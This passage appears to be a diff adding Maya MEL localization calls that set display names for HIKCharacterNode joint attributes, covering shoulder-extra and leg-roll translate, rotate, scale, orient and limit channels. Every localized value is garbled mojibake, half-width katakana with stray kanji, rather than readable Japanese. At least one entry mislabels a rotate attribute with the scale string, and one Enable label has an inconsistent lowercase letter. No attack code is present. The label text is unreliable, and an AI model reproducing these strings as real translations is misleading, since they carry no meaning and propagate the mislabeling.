"モメスナチヨコトレイ獎ラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerRotateAxisx", "モメスナチヨコトレイ獎ラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerRotateAxisy", "モメスナチヨコトレイ獎ラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerRotateAxisz", "モメスナチヨコトレイ獎ラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerJointOrient", "モメスナチヨコトレイ犹リスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerJointOrientx", "モメスナチヨコトレイ犹リスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerJointOrienty", "モメスナチヨコトレイ犹リスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerJointOrientz", "モメスナチヨコトレイ犹リスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerMinRLimit", "モメスナチヨコトレイ獸ミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerMinRLimitx", "モメスナチヨコトレイ獸ミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerMinRLimity", "モメスナチヨコトレイ獸ミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerMinRLimitz", "モメスナチヨコトレイ獸ミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerMaxRLimit", "モメスナチヨコトレイ獸エミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerMaxRLimitx", "モメスナチヨコトレイ獸エミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerMaxRLimity", "モメスナチヨコトレイ獸エミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerMaxRLimitz", "モメスナチヨコトレイ獸エミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerMinRLimitEnablex", "ニモテモメスナチヨコトレイ獸ミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerMinRLimitEnabley", "ニモテモメスナチヨコトレイ獸ミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerMinRLimitEnablez", "ニモテモメスナチヨコトレイ獸ミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerMaxRLimitEnablex", "ニモテモメスナチヨコトレイ獸エミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerMaxRLimitEnabley", "ニモテモメスナチヨコトレイ獸エミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInFootExtraFingerMaxRLimitEnablez", "ニモテモメスナチヨコトレイ獸エミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtra", "クスシモラシ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraT", "クスシモラシ酥スメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraTx", "クスシモラシ酥スメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraTy", "クスシモラシ酥スメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraTz", "クスシモラシ酥スメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraR", "クスシモラシ醪ラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraRx", "クスシモラシ醪ラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraRy", "クスシモラシ醪ラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraRz", "クスシモラシ醪ラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraS", "クスシモラシ醉キナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraSx", "クスシモラシ醉キナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraSy", "クスシモラシ醉キナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraSz", "クスシモラシ醉キナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraRotateOrder", "クスシモラシ醪ラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraRotateAxis", "クスシモラシ醪ラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraRotateAxisx", "クスシモラシ醪ラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraRotateAxisy", "クスシモラシ醪ラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraRotateAxisz", "クスシモラシ醪ラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraJointOrient", "クスシモラシ郢リスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraJointOrientx", "クスシモラシ郢リスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraJointOrienty", "クスシモラシ郢リスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraJointOrientz", "クスシモラシ郢リスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraMinRLimit", "クスシモラシ釋ミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraMinRLimitx", "クスシモラシ釋ミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraMinRLimity", "クスシモラシ釋ミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraMinRLimitz", "クスシモラシ釋ミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraMaxRLimit", "クスシモラシ釋エミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraMaxRLimitx", "クスシモラシ釋エミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraMaxRLimity", "クスシモラシ釋エミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraMaxRLimitz", "クスシモラシ釋エミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraMinRLimitEnablex", "ニモテクスシモラシ釋ミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraMinRLimitEnabley", "ニモテクスシモラシ釋ミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraMinRLimitEnablez", "ニモテクスシモラシ釋ミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraMaxRLimitEnablex", "ニモテクスシモラシ釋エミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraMaxRLimitEnabley", "ニモテクスシモラシ釋エミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderExtraMaxRLimitEnablez", "ニモテクスシモラシ釋エミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtra", "クスシモモメシ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraT", "クスシモモメシ酥スメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraTx", "クスシモモメシ酥スメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraTy", "クスシモモメシ酥スメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraTz", "クスシモモメシ酥スメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraR", "クスシモモメシ醪ラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraRx", "クスシモモメシ醪ラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraRy", "クスシモモメシ醪ラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraRz", "クスシモモメシ醪ラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraS", "クスシモモメシ醉キナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraSx", "クスシモモメシ醉キナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraSy", "クスシモモメシ醉キナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraSz", "クスシモモメシ醉キナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraRotateOrder", "クスシモモメシ醪ラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraRotateAxis", "クスシモモメシ醪ラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraRotateAxisx", "クスシモモメシ醪ラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraRotateAxisy", "クスシモモメシ醪ラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraRotateAxisz", "クスシモモメシ醪ラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraJointOrient", "クスシモモメシ郢リスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraJointOrientx", "クスシモモメシ郢リスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraJointOrienty", "クスシモモメシ郢リスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraJointOrientz", "クスシモモメシ郢リスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraMinRLimit", "クスシモモメシ釋ミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraMinRLimitx", "クスシモモメシ釋ミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraMinRLimity", "クスシモモメシ釋ミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraMinRLimitz", "クスシモモメシ釋ミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraMaxRLimit", "クスシモモメシ釋エミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraMaxRLimitx", "クスシモモメシ釋エミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraMaxRLimity", "クスシモモメシ釋エミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraMaxRLimitz", "クスシモモメシ釋エミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraMinRLimitEnablex", "ニモテクスシモモメシ釋ミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraMinRLimitEnabley", "ニモテクスシモモメシ釋ミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraMinRLimitEnablez", "ニモテクスシモモメシ釋ミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraMaxRLimitEnablex", "ニモテクスシモモメシ釋エミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraMaxRLimitEnabley", "ニモテクスシモモメシ釋エミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderExtraMaxRLimitEnablez", "ニモテクスシモモメシ釋エミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1", "メカラエヘネイ犹 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1T", "メカラエヘネイ犹 1 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1Tx", "メカラエヘネイ犹 1 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1Ty", "メカラエヘネイ犹 1 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1Tz", "メカラエヘネイ犹 1 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1R", "メカラエヘネイ犹 1 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1Rx", "メカラエヘネイ犹 1 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1Ry", "メカラエヘネイ犹 1 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1Rz", "メカラエヘネイ犹 1 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1S", "メカラエヘネイ犹 1 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1Sx", "メカラエヘネイ犹 1 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1Sy", "メカラエヘネイ犹 1 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1Sz", "メカラエヘネイ犹 1 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1RotateOrder", "メカラエヘネイ犹 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1RotateAxis", "メカラエヘネイ犹 1 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1RotateAxisx", "メカラエヘネイ犹 1 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1RotateAxisy", "メカラエヘネイ犹 1 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1RotateAxisz", "メカラエヘネイ犹 1 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1JointOrient", "メカラエヘネイ犹 1 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1JointOrientx", "メカラエヘネイ犹 1 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1JointOrienty", "メカラエヘネイ犹 1 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1JointOrientz", "メカラエヘネイ犹 1 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1MinRLimit", "メカラエヘネイ犹 1 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1MinRLimitx", "メカラエヘネイ犹 1 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1MinRLimity", "メカラエヘネイ犹 1 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1MinRLimitz", "メカラエヘネイ犹 1 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1MaxRLimit", "メカラエヘネイ犹 1 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1MaxRLimitx", "メカラエヘネイ犹 1 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1MaxRLimity", "メカラエヘネイ犹 1 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1MaxRLimitz", "メカラエヘネイ犹 1 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1MinRLimitEnablex", "ニモテメカラエヘネイ犹 1 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1MinRLimitEnabley", "ニモテメカラエヘネイ犹 1 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1MinRLimitEnablez", "ニモテメカラエヘネイ犹 1 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1MaxRLimitEnablex", "ニモテメカラエヘネイ犹 1 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1MaxRLimitEnabley", "ニモテメカラエヘネイ犹 1 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll1MaxRLimitEnablez", "ニモテメカラエヘネイ犹 1 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1", "メカラヘネイ犹 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1T", "メカラヘネイ犹 1 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1Tx", "メカラヘネイ犹 1 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1Ty", "メカラヘネイ犹 1 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1Tz", "メカラヘネイ犹 1 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1R", "メカラヘネイ犹 1 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1Rx", "メカラヘネイ犹 1 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1Ry", "メカラヘネイ犹 1 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1Rz", "メカラヘネイ犹 1 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1S", "メカラヘネイ犹 1 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1Sx", "メカラヘネイ犹 1 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1Sy", "メカラヘネイ犹 1 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1Sz", "メカラヘネイ犹 1 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1RotateOrder", "メカラヘネイ犹 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1RotateAxis", "メカラヘネイ犹 1 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1RotateAxisx", "メカラヘネイ犹 1 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1RotateAxisy", "メカラヘネイ犹 1 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1RotateAxisz", "メカラヘネイ犹 1 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1JointOrient", "メカラヘネイ犹 1 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1JointOrientx", "メカラヘネイ犹 1 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1JointOrienty", "メカラヘネイ犹 1 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1JointOrientz", "メカラヘネイ犹 1 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1MinRLimit", "メカラヘネイ犹 1 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1MinRLimitx", "メカラヘネイ犹 1 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1MinRLimity", "メカラヘネイ犹 1 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1MinRLimitz", "メカラヘネイ犹 1 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1MaxRLimit", "メカラヘネイ犹 1 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1MaxRLimitx", "メカラヘネイ犹 1 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1MaxRLimity", "メカラヘネイ犹 1 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1MaxRLimitz", "メカラヘネイ犹 1 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1MinRLimitEnablex", "ニモテメカラヘネイ犹 1 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1MinRLimitEnabley", "ニモテメカラヘネイ犹 1 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1MinRLimitEnablez", "ニモテメカラヘネイ犹 1 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1MaxRLimitEnablex", "ニモテメカラヘネイ犹 1 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1MaxRLimitEnabley", "ニモテメカラヘネイ犹 1 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll1MaxRLimitEnablez", "ニモテメカラヘネイ犹 1 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1", "メカモメエヘネイ犹 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1T", "メカモメエヘネイ犹 1 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1Tx", "メカモメエヘネイ犹 1 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1Ty", "メカモメエヘネイ犹 1 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1Tz", "メカモメエヘネイ犹 1 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1R", "メカモメエヘネイ犹 1 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1Rx", "メカモメエヘネイ犹 1 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1Ry", "メカモメエヘネイ犹 1 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1Rz", "メカモメエヘネイ犹 1 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1S", "メカモメエヘネイ犹 1 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1Sx", "メカモメエヘネイ犹 1 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1Sy", "メカモメエヘネイ犹 1 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1Sz", "メカモメエヘネイ犹 1 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1RotateOrder", "メカモメエヘネイ犹 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1RotateAxis", "メカモメエヘネイ犹 1 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1RotateAxisx", "メカモメエヘネイ犹 1 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1RotateAxisy", "メカモメエヘネイ犹 1 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1RotateAxisz", "メカモメエヘネイ犹 1 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1JointOrient", "メカモメエヘネイ犹 1 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1JointOrientx", "メカモメエヘネイ犹 1 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1JointOrienty", "メカモメエヘネイ犹 1 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1JointOrientz", "メカモメエヘネイ犹 1 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1MinRLimit", "メカモメエヘネイ犹 1 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1MinRLimitx", "メカモメエヘネイ犹 1 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1MinRLimity", "メカモメエヘネイ犹 1 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1MinRLimitz", "メカモメエヘネイ犹 1 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1MaxRLimit", "メカモメエヘネイ犹 1 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1MaxRLimitx", "メカモメエヘネイ犹 1 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1MaxRLimity", "メカモメエヘネイ犹 1 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1MaxRLimitz", "メカモメエヘネイ犹 1 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1MinRLimitEnablex", "ニモテメカモメエヘネイ犹 1 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1MinRLimitEnabley", "ニモテメカモメエヘネイ犹 1 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1MinRLimitEnablez", "ニモテメカモメエヘネイ犹 1 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1MaxRLimitEnablex", "ニモテメカモメエヘネイ犹 1 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1MaxRLimitEnabley", "ニモテメカモメエヘネイ犹 1 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll1MaxRLimitEnablez", "ニモテメカモメエヘネイ犹 1 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1", "メカモメヘネイ犹 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1T", "メカモメヘネイ犹 1 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1Tx", "メカモメヘネイ犹 1 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1Ty", "メカモメヘネイ犹 1 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1Tz", "メカモメヘネイ犹 1 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1R", "メカモメヘネイ犹 1 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1Rx", "メカモメヘネイ犹 1 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1Ry", "メカモメヘネイ犹 1 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1Rz", "メカモメヘネイ犹 1 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1S", "メカモメヘネイ犹 1 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll1Sx", "メカモメヘネイ犹 1 ヒキナ 